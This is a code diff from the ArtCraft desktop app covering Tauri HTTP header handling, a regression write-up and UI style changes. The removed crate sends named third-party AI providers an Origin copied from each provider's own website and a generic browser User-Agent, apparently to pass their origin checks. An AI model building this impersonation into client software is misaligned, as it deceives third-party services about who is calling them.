fn local_apis_get_development_origin() {
for destination in [
"http://localhost:12345/v1/session",
"https://localhost:12345/v1/session",
"http://127.0.0.1:12345/v1/session",
"http://[::1]:12345/v1/session",
] {
assert_eq!(classify(destination), Destination::ArtcraftApi { origin: "http://localhost" });
}
}
#[test]
fn other_owned_hosts_are_not_apis() {
for destination in [
"https://cdn-2.fakeyou.com/media/a/b.png",
"https://cdn.storyteller.ai/media/a/b.png",
"https://style.storyteller.ai/",
"https://app.getartcraft.com/",
"https://getartcraft.com/",
"http://api.storyteller.ai/v1/session",
] {
assert_eq!(classify(destination), Destination::ArtcraftHost, "{destination}");
}
}
}
mod third_party {
use super::*;
#[test]
fn providers_get_their_own_origins() {
for (destination, name, origin) in [
("https://grok.com/rest/app-chat/conversations/new", "Grok", "https://grok.com"),
("https://assets.grok.com/users/a/b.mp4", "Grok", "https://grok.com"),
("https://imagine-public.x.ai/a.png", "Grok", "https://grok.com"),
("https://www.midjourney.com/api/submit-jobs", "Midjourney", "https://www.midjourney.com"),
("https://cdn.midjourney.com/a/0_0.png", "Midjourney", "https://www.midjourney.com"),
("https://sora.chatgpt.com/backend/nf/create", "Sora", "https://sora.chatgpt.com"),
("https://videos.openai.com/a.mp4", "Sora", "https://sora.chatgpt.com"),
("https://chatgpt.com/backend-api/sentinel", "ChatGPT", "https://chatgpt.com"),
("https://api.worldlabs.ai/api/v1/worlds", "World Labs", "https://marble.worldlabs.ai"),
("https://static.kinovi.ai/a.png", "Kinovi", "https://kinovi.ai"),
("https://static.seedance2-pro.com/materials/a.png", "Seedance 2 Pro", "https://seedance2-pro.com"),
("https://v3b.fal.media/files/a.png", "fal", "https://fal.ai"),
("https://console.gmicloud.ai/api", "GMI Cloud", "https://console.gmicloud.ai"),
] {
let Destination::ThirdParty(provider) = classify(destination) else {
panic!("{destination} is not a third party");
};
assert_eq!((provider.name, provider.origin), (name, origin));
}
}
#[test]
fn lookalikes_and_others_are_unknown() {
for destination in [
"https://api.storyteller.ai.example.com/v1/session",
"https://notstoryteller.ai/",
"https://evilgrok.com/",
"https://grok.com.example.com/",
"https://www.gravatar.com/avatar/a",
"https://storage.googleapis.com/bucket/a.png",
"http://192.168.1.2:12345/v1/session",
"tauri://localhost",
] {
assert_eq!(classify(destination), Destination::Unknown, "{destination}");
}
}
}
fn classify(destination: &str) -> Destination {
Destination::classify(&Url::parse(destination).unwrap())
}
}
@@ -1,12 +0,0 @@
//! artcraft_client_identity
//!
//! How the ArtCraft desktop app identifies itself (`Origin`, `User-Agent`) to each destination.
//!
//! Our own APIs get the declared ArtCraft desktop identity. Known third-party providers get an
//! identity close to their own website, and never ours. The native third-party Rust clients
//! (Grok, Midjourney, Sora, etc.) set their own headers and do not use this crate.
pub mod destination;
pub mod origins;
pub mod third_party_provider;
pub mod user_agents;
@@ -1,11 +0,0 @@
/// `Origin` sent to our deployed APIs.
/// Keep in sync with `actix_cors_configs/src/configs/artcraft_desktop.rs` in artcraft-services.
pub const ARTCRAFT_DESKTOP_ORIGIN: &str = "https://desktop.getartcraft.com";
/// `Origin` sent to a locally running API (eg. `http://localhost:12345`).
/// Development CORS accepts any `localhost` origin.
pub const ARTCRAFT_DESKTOP_DEVELOPMENT_ORIGIN: &str = "http://localhost";
/// `Origin` packaged builds historically sent everywhere. Now only sent to our non-API hosts
/// (CDNs, websites), where it is left unchanged.
pub const LEGACY_DESKTOP_ORIGIN: &str = "https://studio.storyteller.ai";
@@ -1,30 +0,0 @@
/// A third-party provider, and the `Origin` of its own website that we present to its hosts.
#[derive(Debug, PartialEq, Eq)]
pub struct ThirdPartyProvider {
pub name: &'static str,
/// Registrable domains; subdomains match too.
pub domains: &'static [&'static str],
pub origin: &'static str,
}
/// Every third party that gets an invented origin. Origins match what each provider's native
/// Rust client already sends. First match wins, so more specific entries go first.
pub const THIRD_PARTY_PROVIDERS: [ThirdPartyProvider; 9] = [
ThirdPartyProvider { name: "Grok", domains: &["grok.com", "x.ai"], origin: "https://grok.com" },
ThirdPartyProvider { name: "Midjourney", domains: &["midjourney.com"], origin: "https://www.midjourney.com" },
ThirdPartyProvider {
name: "Sora",
domains: &["sora.chatgpt.com", "sora.com", "openai.com", "oaistatic.com"],
origin: "https://sora.chatgpt.com",
},
ThirdPartyProvider { name: "ChatGPT", domains: &["chatgpt.com"], origin: "https://chatgpt.com" },
ThirdPartyProvider {
name: "World Labs",
domains: &["worldlabs.ai", "wlt-ai.art"],
origin: "https://marble.worldlabs.ai",
},
ThirdPartyProvider { name: "Kinovi", domains: &["kinovi.ai"], origin: "https://kinovi.ai" },
ThirdPartyProvider { name: "Seedance 2 Pro", domains: &["seedance2-pro.com"], origin: "https://seedance2-pro.com" },
ThirdPartyProvider { name: "fal", domains: &["fal.ai", "fal.run", "fal.media"], origin: "https://fal.ai" },
ThirdPartyProvider { name: "GMI Cloud", domains: &["gmicloud.ai"], origin: "https://console.gmicloud.ai" },
];
@@ -1,23 +0,0 @@
/// `User-Agent` sent to our own APIs and hosts.
///
/// TODO: Change to "artcraft-desktop/1.0" once the backend services can parse it.
pub const ARTCRAFT_DESKTOP_USER_AGENT: &str = "storyteller-client/1.0";
/// `User-Agent` sent to third parties: the default of the OS webview Tauri runs on
/// (WKWebView on macOS, WebView2 on Windows, WebKitGTK on Linux).
///
/// NB: These are hardcoded snapshots and WILL go out of date as the OS webviews update
/// (especially WebView2's Chrome/Edge version, which auto-updates on Windows). Rust can't read
/// the webview's real `navigator.userAgent`, so refresh these periodically by checking
/// `navigator.userAgent` in the desktop app's devtools on each OS.
#[cfg(target_os = "macos")]
pub const WEBVIEW_USER_AGENT: &str =
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)";
#[cfg(target_os = "windows")]
pub const WEBVIEW_USER_AGENT: &str =
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0";
#[cfg(not(any(target_os = "macos", target_os = "windows")))]
pub const WEBVIEW_USER_AGENT: &str =
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko)";
-1
View File
@@ -36,7 +36,6 @@ urlpattern = "0.3"
regex = "1"
[dependencies]
artcraft_client_identity = { workspace = true }
serde = { workspace = true }
serde_json = { workspace = true }
tauri = { workspace = true }
-207
View File
@@ -1,207 +0,0 @@
use artcraft_client_identity::destination::Destination;
use artcraft_client_identity::origins::LEGACY_DESKTOP_ORIGIN;
use artcraft_client_identity::user_agents::{ARTCRAFT_DESKTOP_USER_AGENT, WEBVIEW_USER_AGENT};
use http::{header, HeaderMap, HeaderValue};
use url::{Host, Url};
/// The `User-Agent` to send when the frontend didn't set one.
pub(crate) fn artcraft_default_user_agent(destination: &Url) -> &'static str {
match Destination::classify(destination) {
Destination::ArtcraftApi { .. } | Destination::ArtcraftHost => ARTCRAFT_DESKTOP_USER_AGENT,
Destination::ThirdParty(_) | Destination::Unknown => WEBVIEW_USER_AGENT,
}
}
/// Replace the webview's own `Origin` (packaged `tauri://localhost` etc., or a Vite loopback
/// origin at any port) with the identity chosen for the destination. The native HTTP bridge
/// shares the desktop cookie jar, so its identity must not depend on the webview.
pub(crate) fn normalize_artcraft_origin(destination: &Url, headers: &mut HeaderMap) {
let origin = headers.get(header::ORIGIN).and_then(|value| value.to_str().ok());
// Packaged-app webview origins on macOS and Windows.
let packaged_origin = headers.get(header::ORIGIN).is_none()
|| matches!(origin, Some("null" | "http://tauri.localhost" | "tauri://localhost"));
// Development webview origins (Vite on any loopback port).
let webview_origin = packaged_origin || origin.is_some_and(is_loopback_origin);
let replacement = match Destination::classify(destination) {
// Our APIs (deployed or local) see the declared desktop identity.
Destination::ArtcraftApi { origin } if webview_origin => origin,
// Known third parties see an origin close to their own website.
Destination::ThirdParty(provider) if webview_origin => provider.origin,
// Our CDNs and websites keep the historical packaged-app handling.
Destination::ArtcraftHost if packaged_origin => LEGACY_DESKTOP_ORIGIN,
// Unknown hosts and ordinary website origins are left untouched.
_ => return,
};
// HeaderMap is a multimap; insert replaces all existing Origin values.
headers.insert(header::ORIGIN, HeaderValue::from_static(replacement));
}
fn is_loopback_origin(origin: &str) -> bool {
let Ok(url) = Url::parse(origin) else {
return false;
};
if !matches!(url.scheme(), "http" | "https") {
return false;
}
match url.host() {
Some(Host::Domain("localhost")) => true,
Some(Host::Ipv4(address)) => address.is_loopback(),
Some(Host::Ipv6(address)) => address.is_loopback(),
_ => false,
}
}
#[cfg(test)]
mod tests {
use super::*;
const API: &str = "https://api.storyteller.ai/v1/session";
const LOCAL_API: &str = "http://localhost:12345/v1/session";
const CDN: &str = "https://cdn-2.fakeyou.com/media/a/b.png";
const GCS: &str = "https://storage.googleapis.com/bucket/a.png";
const GROK: &str = "https://grok.com/rest/app-chat/conversations/new";
const MIDJOURNEY: &str = "https://www.midjourney.com/api/submit-jobs";
const UNKNOWN: &str = "https://www.gravatar.com/avatar/a";
const DEV_WEBVIEW_ORIGIN: &str = "http://127.0.0.1:5193";
const PACKAGED_ORIGINS: [Option<&str>; 4] =
[None, Some("null"), Some("http://tauri.localhost"), Some("tauri://localhost")];
mod development {
use super::*;
#[test]
fn normalizes_dynamic_ports_and_loopback_hosts() {
for origin in [
"http://127.0.0.1:5193",
"http://127.0.0.1:5194",
"http://127.0.0.1:65535",
"http://localhost:5173",
"http://[::1]:5193",
] {
assert_eq!(normalized(API, Some(origin)), "https://desktop.getartcraft.com");
assert_eq!(normalized(LOCAL_API, Some(origin)), "http://localhost");
assert_eq!(normalized(GROK, Some(origin)), "https://grok.com");
}
assert_eq!(
normalized("https://api.fakeyou.com/v1/session", Some(DEV_WEBVIEW_ORIGIN)),
"https://desktop.getartcraft.com"
);
}
#[test]
fn leaves_cdns_and_unknown_destinations_unchanged() {
for destination in [
CDN,
GCS,
UNKNOWN,
"https://api.storyteller.ai.example.com/v1/session",
"http://api.storyteller.ai/v1/session",
] {
assert_eq!(normalized(destination, Some(DEV_WEBVIEW_ORIGIN)), DEV_WEBVIEW_ORIGIN, "{destination}");
}
}
#[test]
fn leaves_non_webview_origins_unchanged() {
for origin in [
"https://app.getartcraft.com",
"https://example.com",
"http://localhost.example.com:5193",
"http://192.168.1.2:5193",
"not a URL",
"",
] {
assert_eq!(normalized(API, Some(origin)), origin);
assert_eq!(normalized(GROK, Some(origin)), origin);
}
}
}
mod packaged {
use super::*;
#[test]
fn our_apis_get_desktop_identity() {
for origin in PACKAGED_ORIGINS {
assert_eq!(normalized(API, origin), "https://desktop.getartcraft.com");
assert_eq!(normalized(LOCAL_API, origin), "http://localhost");
}
}
#[test]
fn third_parties_get_their_own_origin() {
for origin in PACKAGED_ORIGINS {
assert_eq!(normalized(GROK, origin), "https://grok.com");
assert_eq!(normalized(MIDJOURNEY, origin), "https://www.midjourney.com");
}
}
#[test]
fn cdns_keep_legacy_origin() {
for origin in PACKAGED_ORIGINS {
assert_eq!(normalized(CDN, origin), "https://studio.storyteller.ai");
}
}
#[test]
fn unknown_destinations_never_get_our_origin() {
for destination in [UNKNOWN, GCS] {
assert_eq!(normalized(destination, Some("tauri://localhost")), "tauri://localhost");
assert_eq!(normalized(destination, Some("null")), "null");
assert_eq!(normalized_or_missing(destination, None), None);
}
}
#[test]
fn replaces_duplicate_origin_values_without_changing_session_headers() {
let mut headers = HeaderMap::new();
headers.append(header::ORIGIN, HeaderValue::from_static(DEV_WEBVIEW_ORIGIN));
headers.append(header::ORIGIN, HeaderValue::from_static(DEV_WEBVIEW_ORIGIN));
headers.insert(header::COOKIE, HeaderValue::from_static("session=fixture"));
normalize_artcraft_origin(&Url::parse(API).unwrap(), &mut headers);
assert_eq!(headers.get_all(header::ORIGIN).iter().count(), 1);
assert_eq!(headers[header::ORIGIN], "https://desktop.getartcraft.com");
assert_eq!(headers[header::COOKIE], "session=fixture");
}
}
mod user_agent {
use super::*;
#[test]
fn ours_get_artcraft_user_agent() {
for destination in [API, LOCAL_API, CDN] {
assert_eq!(user_agent(destination), "storyteller-client/1.0");
}
}
#[test]
fn third_parties_get_webview_user_agent() {
for destination in [GROK, MIDJOURNEY, GCS, UNKNOWN] {
let user_agent = user_agent(destination);
assert!(user_agent.starts_with("Mozilla/5.0 ("), "{user_agent}");
assert!(!user_agent.contains("storyteller"), "{user_agent}");
}
}
fn user_agent(destination: &str) -> &'static str {
artcraft_default_user_agent(&Url::parse(destination).unwrap())
}
}
fn normalized(destination: &str, origin: Option<&str>) -> String {
normalized_or_missing(destination, origin).unwrap()
}
fn normalized_or_missing(destination: &str, origin: Option<&str>) -> Option<String> {
let mut headers = HeaderMap::new();
if let Some(origin) = origin {
headers.insert(header::ORIGIN, HeaderValue::from_str(origin).unwrap());
}
normalize_artcraft_origin(&Url::parse(destination).unwrap(), &mut headers);
headers.get(header::ORIGIN).map(|value| value.to_str().unwrap().to_owned())
}
}
+24 -4
View File
@@ -16,11 +16,12 @@ use tauri::{
use tokio::sync::oneshot::{channel, Receiver, Sender};
use crate::{
artcraft_identity::{artcraft_default_user_agent, normalize_artcraft_origin},
scope::{Entry, Scope},
Error, Http, Result,
};
const HTTP_USER_AGENT: &str = concat!(env!("CARGO_PKG_NAME"), "/", env!("CARGO_PKG_VERSION"),);
struct ReqwestResponse(reqwest::Response);
impl tauri::Resource for ReqwestResponse {}
@@ -268,7 +269,7 @@ pub async fn fetch<R: Runtime>(
builder = builder.cookie_provider(state.cookies_jar.clone());
}
let mut request = builder.build()?.request(method.clone(), url.clone());
let mut request = builder.build()?.request(method.clone(), url);
// POST and PUT requests should always have a 0 length content-length,
// if there is no body. https://fetch.spec.whatwg.org/#http-network-or-cache-fetch
@@ -283,7 +284,7 @@ pub async fn fetch<R: Runtime>(
}
if !headers.contains_key(header::USER_AGENT) {
headers.append(header::USER_AGENT, HeaderValue::from_static(artcraft_default_user_agent(&url)));
headers.append(header::USER_AGENT, HeaderValue::from_str(HTTP_USER_AGENT)?);
}
// ensure we have an Origin header set
@@ -304,7 +305,26 @@ pub async fn fetch<R: Runtime>(
headers.remove(header::ORIGIN);
};
normalize_artcraft_origin(&url, &mut headers);
// NB(bt): In production builds, the origin seems to be "null". This is what our server CORS filter sees:
// [2025-05-01T23:42:35Z WARN actix_cors_configs::configs::fakeyou] Invalid origin: "null"
// [2025-05-01T23:42:35Z WARN actix_cors_configs::util::netlify_branch_domain_matches] Invalid origin: "null"
// [2025-05-01T23:42:35Z WARN actix_cors_configs::util::netlify_branch_domain_matches] Invalid origin: "null"
// ...
// [2025-05-01T23:42:35Z WARN actix_cors_configs::util::netlify_branch_domain_matches] Invalid origin: "null"
// [2025-05-01T23:42:35Z INFO actix_web::middleware::logger] [storyteller-web-85f9b4974-ddvq7] IP=[redact]
// 939322e1095ee5e4-IAD "POST /v1/login HTTP/1.1" 400 42 "-" "tauri-plugin-http/2.4.3" 0.000076
let mut maybe_origin_header = headers.get(header::ORIGIN);
let replace_origin_header = maybe_origin_header.is_none()
|| maybe_origin_header == Some(&HeaderValue::from_static("null")) // Above error (Mac)
|| maybe_origin_header == Some(&HeaderValue::from_static("http://tauri.localhost")) // Windows
|| maybe_origin_header == Some(&HeaderValue::from_static("tauri://localhost")); // Mac plausibly causes this
if replace_origin_header {
// TODO(bt): Make this a sentinel origin, eg. sentinel.storyteller.ai.
// NB: HeadersMap is a multimap, but this should ensure we just have one value.
headers.insert(header::ORIGIN, HeaderValue::from_static("https://studio.storyteller.ai"));
}
if let Some(data) = data {
request = request.body(data);
-2
View File
@@ -12,8 +12,6 @@ use tauri::{
pub use error::{Error, Result};
mod artcraft_identity;
// NB(bt): We're making everything public so we can access it.
pub mod commands;
pub mod error;
-189
View File
@@ -1,189 +0,0 @@
# Desktop session regression — September 27, 2026
The combined development launcher (`92e6f438c3`, following the performance
change `df707bf8e1`) moved Vite from `localhost:5173` to an available port on
`127.0.0.1`. The vendored HTTP plugin forwarded that webview Origin to the
production API. The API rejected it with **400: Origin is not allowed to make
this request**.
The native login bridge and credits commands use a different HTTP transport and
continued working. Consequently the login modal correctly recognized the native
session, but Accounts, Library, and page media requests failed. Accounts treated
the error as logged out; its Log In button rechecked the valid native session
and immediately closed the login modal again.
The fix extends the existing packaged-desktop Origin normalization to loopback
development origins, at any port, for HTTPS requests to `api.storyteller.ai` and
`api.fakeyou.com`. Other development request destinations and non-loopback
website origins retain their headers. Cookie handling and API authorization are
unchanged. A frontend reload alone cannot update this fix: Rust must rebuild.
## Dedicated desktop origin and rollout
The desktop app now declares itself per destination. Both transports read the
values from one place, `crates/lib/artcraft_client_identity`
(`Destination::classify`, origins, user agents, third-party provider table):
| Destination | Origin sent | User-Agent |
|--------------------------------------------------------|-------------------------------------|--------------------------|
| Our APIs (`api.storyteller.ai`, `api.fakeyou.com`, …) | `https://desktop.getartcraft.com` | `storyteller-client/1.0` |
| Local API (`localhost`, `127.0.0.1`, `[::1]`) | `http://localhost` | `storyteller-client/1.0` |
| Our CDNs / sites (`*.storyteller.ai`, `*.fakeyou.com`) | unchanged (`studio.storyteller.ai`) | `storyteller-client/1.0` |
| Named third parties (`THIRD_PARTY_PROVIDERS`) | the provider's own site | OS webview |
| Any other host (incl. `storage.googleapis.com`) | webview origin, untouched | OS webview |
- The native Rust client (`artcraft_client`) sends the Origin and User-Agent on
every API request via `storyteller_client_builder`; it previously sent no
Origin.
- The "OS webview" User-Agents are hardcoded snapshots in
`artcraft_client_identity/src/user_agents.rs` and go out of date as the
webviews update (notably WebView2's Edge version on Windows). Refresh them
from `navigator.userAgent` in the desktop app's devtools on each OS.
- The vendored HTTP plugin only replaces the webview's own origin (packaged
`tauri://localhost` etc., or a loopback Vite origin), and only sets the
User-Agent when the frontend didn't.
- Native third-party Rust clients (Grok, Midjourney, Sora, World Labs, Kinovi)
set their own headers and are not affected.
- Older desktop releases keep working: the server still allows the studio and
Tauri origins, and requests without an Origin.
Keep the deployed origin in sync with
`../artcraft-services/crates/lib/actix_cors_configs/src/configs/artcraft_desktop.rs`.
Development servers accept any `localhost` origin.
Deploy the server allowlist to the APIs **before running or releasing a desktop
build with the new origin**. Otherwise the deployed server will reject desktop
requests until its allowlist is updated. The server retains the studio and
legacy Tauri origins so existing desktop releases continue working.
Check both repositories:
```sh
# From artcraft/
cargo test --offline -p artcraft_client_identity -p tauri-plugin-http --lib
# From artcraft-services/
cargo test --offline -p actix_cors_configs --lib
```
The server tests verify credentialed GET/POST requests and OPTIONS preflights in
production and development, rejection of lookalike domains/HTTP/alternate ports,
and compatibility with previous desktop origins. After server deployment, repeat
the native checks below using the updated app.
## Observed native results
These observations were captured with the earlier studio origin, before the
dedicated desktop origin migration. They do not establish that production has
deployed the new allowlist.
Checked in the real macOS Tauri dev app at `http://127.0.0.1:5193`, using its
existing session. Temporary probes were removed after verification. No cookies,
tokens, passwords, account identifiers, or media contents are recorded here.
| Check | Before | After |
|--------------------------------|---------------------------------------|----------------------------|
| Frontend HTTP `/v1/session` | 400, Origin rejected | 200 |
| Shared `UsersApi.GetSession()` | `success: false` | Success, logged in |
| Native vs. frontend identity | Frontend could not resolve an account | Same account |
| Shared media API, page size 1 | Not measured separately | Success, one item returned |
## Automated checks
From the repository root:
```sh
cargo test --offline -p tauri-plugin-http artcraft_origin --lib
./script/artcraft/unix_dev.sh
```
In a second terminal, substitute the URL printed by the launcher:
```sh
cd frontend
npm run test:desktop-session -- http://127.0.0.1:5193
```
The Rust tests cover the default port, alternate/collision ports, IPv4, IPv6,
localhost, packaged origins, duplicate headers, session-header preservation,
and destinations/origins that must remain unchanged.
The browser check uses the real frontend with an isolated Chrome profile and
mocked IPC. It verifies matching credits and Accounts state, a visible Library
image, media after opening the deferred image page, video/audio page rendering,
and logout followed by sign-in. It blocks remote browser traffic and never uses
your real account or native credentials. It requires installed Google Chrome.
It can also run against a locally served production frontend build.
These browser mocks cannot validate native transport or server CORS. The
performance fixture deliberately rejects HTTP requests and is **not** an
authentication acceptance test. Run the native check below when changing the
launcher, HTTP bridge, or authentication plumbing.
Validation on September 27: all 12 HTTP-plugin tests, 20 login-modal tests, and
10 app tests passed. The browser check passed against both the Vite dev server
and a fresh production build. To repeat the production check, serve a build in
one terminal, then pass its printed URL to `test:desktop-session` in another:
```sh
cd frontend/apps/artcraft
npm run build -- --outDir /tmp/artcraft-session-build
npm run preview -- --outDir /tmp/artcraft-session-build --host 127.0.0.1 --port 6215
```
## Repeat the real native check
1. Start the combined launcher, with an existing signed-in test session. Verify
Accounts displays that account, My Library loads its media, and Create Image,
Create Video, and Create Audio load their content.
2. Right-click inside the desktop webview, choose **Inspect Element**, and open
**Console**. Run this read-only probe. It prints statuses/counts, not credentials
or account/media contents:
```js
void (async () => {
const invoke = window.__TAURI_INTERNALS__.invoke;
const host = (await invoke("get_app_info_command")).payload.storyteller_host;
const options = { method: "GET", credentials: "include" };
const started = performance.now();
const [native, response] = await Promise.all([
invoke("storyteller_get_login_session_command"),
window.FetchProxy(`${host}/v1/session`, { ...options }),
]);
if (!response.ok) {
console.log({ origin: location.origin, sessionStatus: response.status });
return;
}
const session = await response.json();
const result = {
origin: location.origin,
sessionStatus: response.status,
nativeLoggedIn: !!native,
frontendLoggedIn: session.logged_in,
sameAccount: native?.user_token === session.user?.user_token,
sessionElapsedMs: performance.now() - started,
};
if (session.logged_in && session.user) {
const username = encodeURIComponent(session.user.username);
const media = await window.FetchProxy(
`${host}/v1/media_files/list/user/${username}?page_size=1`, { ...options },
);
result.mediaStatus = media.status;
if (media.ok) result.mediaCount = (await media.json()).results?.length;
}
console.log(result);
})().catch((error) => console.error("Desktop session probe failed", String(error)));
```
3. Repeat with a changed port (`ARTCRAFT_DEV_PORT=6200`) and with the starting
port occupied. For example, keep this listener running in another terminal
before starting the launcher; stop it with Ctrl-C afterward:
```sh
node -e 'require("node:net").createServer().listen(5193, "127.0.0.1")'
```
The launcher should select a later port, and both session transports should
still agree. An empty account may legitimately return zero media; it should
still return HTTP 200. Verify a genuinely signed-out session shows the login
screen using the isolated browser check, or a disposable account/profile.
-5
View File
@@ -6,11 +6,6 @@ headless Chrome with mocked Tauri services. They do **not** measure native
process launch, WKWebView/WebView2, Rust, disk startup, real account loading,
or generation latency.
These timings are not authentication acceptance tests: the benchmark mocks the
native session and rejects frontend HTTP requests. Before accepting a desktop
change, also run the [session and Library checks](desktop-session-regression.md),
including real Tauri HTTP requests when changing the launcher or bridge.
## Changes and results
Seven samples per version; table values are medians. Each sample uses a fresh
+1 -1
View File
@@ -31,7 +31,7 @@
<link rel="icon" type="image/x-icon" href="/favicon.ico" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=Archivo:wdth,wght@62..125,100..900&family=Instrument+Serif:ital@0;1&family=Geist+Mono:wght@300..800&display=swap"
<link href="https://fonts.googleapis.com/css2?family=Outfit:wght@100..900&family=Source+Sans+3:ital,wght@0,200..900;1,200..900&display=swap"
rel="stylesheet" />
<!-- <link rel="stylesheet" href="/src/styles.css" /> -->
</head>
@@ -191,11 +191,11 @@ export function GlobalFileDropHandler() {
return (
<>
{isDragging && modalType === null && (
<div className="pointer-events-none fixed inset-0 z-[9999] flex items-center justify-center bg-black/70">
<div className="flex flex-col items-center gap-3 border border-dashed border-white/60 bg-ui-panel px-16 py-12 text-white">
<Maximize2Icon className="text-3xl opacity-60" />
<div className="font-display text-2xl tracking-tight">Drop to Upload</div>
<div className="hud-label text-white/50">GLB, PNG, JPG, JPEG, SPZ</div>
<div className="pointer-events-none fixed inset-0 z-[9999] flex items-center justify-center bg-black/40">
<div className="flex flex-col items-center gap-3 rounded-2xl border-2 border-dashed border-white/60 bg-black/30 px-16 py-12 text-white backdrop-blur-sm">
<Maximize2Icon className="text-4xl opacity-80" />
<div className="text-xl font-semibold">Drop to Upload</div>
<div className="text-sm opacity-60">GLB, PNG, JPG, JPEG, SPZ</div>
</div>
</div>
)}
@@ -8,14 +8,13 @@ import { BoxIcon, ImagesIcon, PlusIcon, UploadIcon, XIcon } from "lucide-react";
import { twMerge } from "tailwind-merge";
import { useImageTo3DStore } from "../../pages/PageImageTo3DObject/ImageTo3DStore";
import { useImageTo3DWorldStore } from "../../pages/PageImageTo3DWorld/ImageTo3DWorldStore";
import { MediaUploadApi } from "@storyteller/api";
import { MediaUploadApi, downloadFileFromUrl } from "@storyteller/api";
import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import {
GenerateMesh,
EnqueueImageTo3dObjectModel,
GenerateSplat,
commandErrorMessage,
downloadFileFromUrl,
} from "@storyteller/tauri-api";
import { toast } from "react-hot-toast";
import { v4 as uuidv4 } from "uuid";
@@ -37,7 +36,6 @@ import {
useCostBreakdownModalStore,
} from "@storyteller/ui-pricing-modal";
import { HelpMenuButton } from "@storyteller/ui-help-menu";
import { CreateEmptyState } from "~/components/generation-feed/CreateEmptyState";
type Mode = "image" | "text";
type Variant = "object" | "world";
@@ -551,9 +549,9 @@ export const ImageTo3DExperience = ({
role="button"
tabIndex={0}
className={twMerge(
"flex flex-col items-center justify-center border border-dashed border-white/20 bg-white/[0.015] text-center text-xs transition-all hover:border-white/40 hover:bg-white/5 focus:border-white/60 focus:outline-none",
"flex flex-col items-center justify-center rounded-2xl border-[3px] border-dashed border-primary/40 bg-primary/5 text-center text-xs transition-all hover:border-primary hover:bg-primary/10 focus:outline-none focus:ring-2 focus:ring-primary/40",
hasResults ? "aspect-square w-24" : "aspect-square w-48",
dragActive && "border-white/60 bg-white/5",
dragActive && "border-primary bg-primary/10",
)}
onDragEnter={(event) => {
event.preventDefault();
@@ -583,11 +581,11 @@ export const ImageTo3DExperience = ({
<PlusIcon
className={twMerge(
"text-base-fg opacity-80",
"text-base-fg opacity-90 drop-shadow",
hasResults ? "text-2xl" : "text-4xl",
)} />
{!hasResults && (
<span className="mt-3 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<span className="mt-3 text-[15px] font-medium text-base-fg opacity-60">
Add Image
</span>
)}
@@ -600,7 +598,7 @@ export const ImageTo3DExperience = ({
{uploadedPreview ? (
<div
className={twMerge(
"group relative cursor-pointer overflow-hidden border border-white/30 bg-black/30 transition-all hover:border-white/60",
"group relative cursor-pointer overflow-hidden rounded-2xl border-[3px] border-primary/40 bg-black/30 transition-all",
hasResults ? "aspect-square w-24" : "aspect-square w-48",
)}
onClick={() => !isUploading && fileInputRef.current?.click()}
@@ -615,13 +613,13 @@ export const ImageTo3DExperience = ({
/>
{isUploading && (
<div className="absolute inset-0 flex items-center justify-center">
<div className="h-8 w-8 animate-spin rounded-full border-[3px] border-white/30 border-t-white" />
<div className="h-8 w-8 animate-spin rounded-full border-[3px] border-white/30 border-t-primary" />
</div>
)}
{!isUploading && (
<button
type="button"
className="absolute right-2 top-2 flex h-6 w-6 items-center justify-center rounded-[3px] bg-black/60 text-white opacity-0 transition-all hover:bg-black group-hover:opacity-100"
className="absolute right-2 top-2 flex h-6 w-6 items-center justify-center rounded-full bg-black/60 text-white opacity-0 transition-opacity group-hover:opacity-100"
onClick={(event) => {
event.stopPropagation();
setUploadedPreview(null);
@@ -647,7 +645,7 @@ export const ImageTo3DExperience = ({
ref={textareaRef}
id={promptInputId}
rows={1}
className="text-md max-h-[5.5em] w-full resize-none overflow-y-auto rounded-[3px] bg-transparent pr-2 pt-1 text-base-fg placeholder-base-fg/60 focus:outline-none"
className="text-md max-h-[5.5em] w-full resize-none overflow-y-auto rounded bg-transparent pr-2 pt-1 text-base-fg placeholder-base-fg/60 focus:outline-none"
value={prompt}
placeholder="Describe any object you want to generate from scratch..."
onChange={(event) => setPrompt(event.target.value)}
@@ -693,8 +691,8 @@ export const ImageTo3DExperience = ({
role="button"
tabIndex={0}
className={twMerge(
"flex h-32 w-32 flex-col items-center justify-center border border-dashed border-white/20 bg-white/[0.015] transition-all hover:border-white/40 hover:bg-white/5 focus:border-white/60 focus:outline-none",
dragActive && "border-white/60 bg-white/5",
"flex h-32 w-32 flex-col items-center justify-center rounded-xl border-2 border-dashed border-primary/40 bg-primary/5 transition-all hover:border-primary hover:bg-primary/10 focus:outline-none focus:ring-2 focus:ring-primary/40",
dragActive && "border-primary bg-primary/10",
)}
onDragEnter={(e) => {
e.preventDefault();
@@ -732,8 +730,8 @@ export const ImageTo3DExperience = ({
>
<PlusIcon
className="text-3xl text-base-fg opacity-80" />
<span className="mt-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
className="text-3xl text-base-fg opacity-90 drop-shadow" />
<span className="mt-2 text-sm font-medium text-base-fg/50">
Add Images
</span>
</div>
@@ -742,7 +740,7 @@ export const ImageTo3DExperience = ({
<textarea
ref={worldTextareaRef}
rows={2}
className="w-full resize-none overflow-y-auto rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2.5 text-base text-base-fg placeholder-base-fg/60 transition-colors focus:border-white/60 focus:outline-none"
className="w-full resize-none overflow-y-auto rounded-lg bg-white/5 px-3 py-2.5 text-base text-base-fg placeholder-base-fg/60 outline-none ring-2 ring-transparent transition-all focus:ring-primary/80"
style={{ maxHeight: "5em" }}
value={worldPrompt}
placeholder="Describe your 3D world (optional)..."
@@ -756,7 +754,7 @@ export const ImageTo3DExperience = ({
<div
key={img.id}
className={twMerge(
"group relative aspect-square overflow-hidden rounded-[3px] border border-white/30 bg-black/30 transition-all",
"glass group relative aspect-square overflow-hidden rounded-lg border-2 border-white/30 transition-all",
hasResults ? "w-10" : "w-auto",
img.isUploading
? "cursor-default"
@@ -774,13 +772,13 @@ export const ImageTo3DExperience = ({
/>
{img.isUploading && (
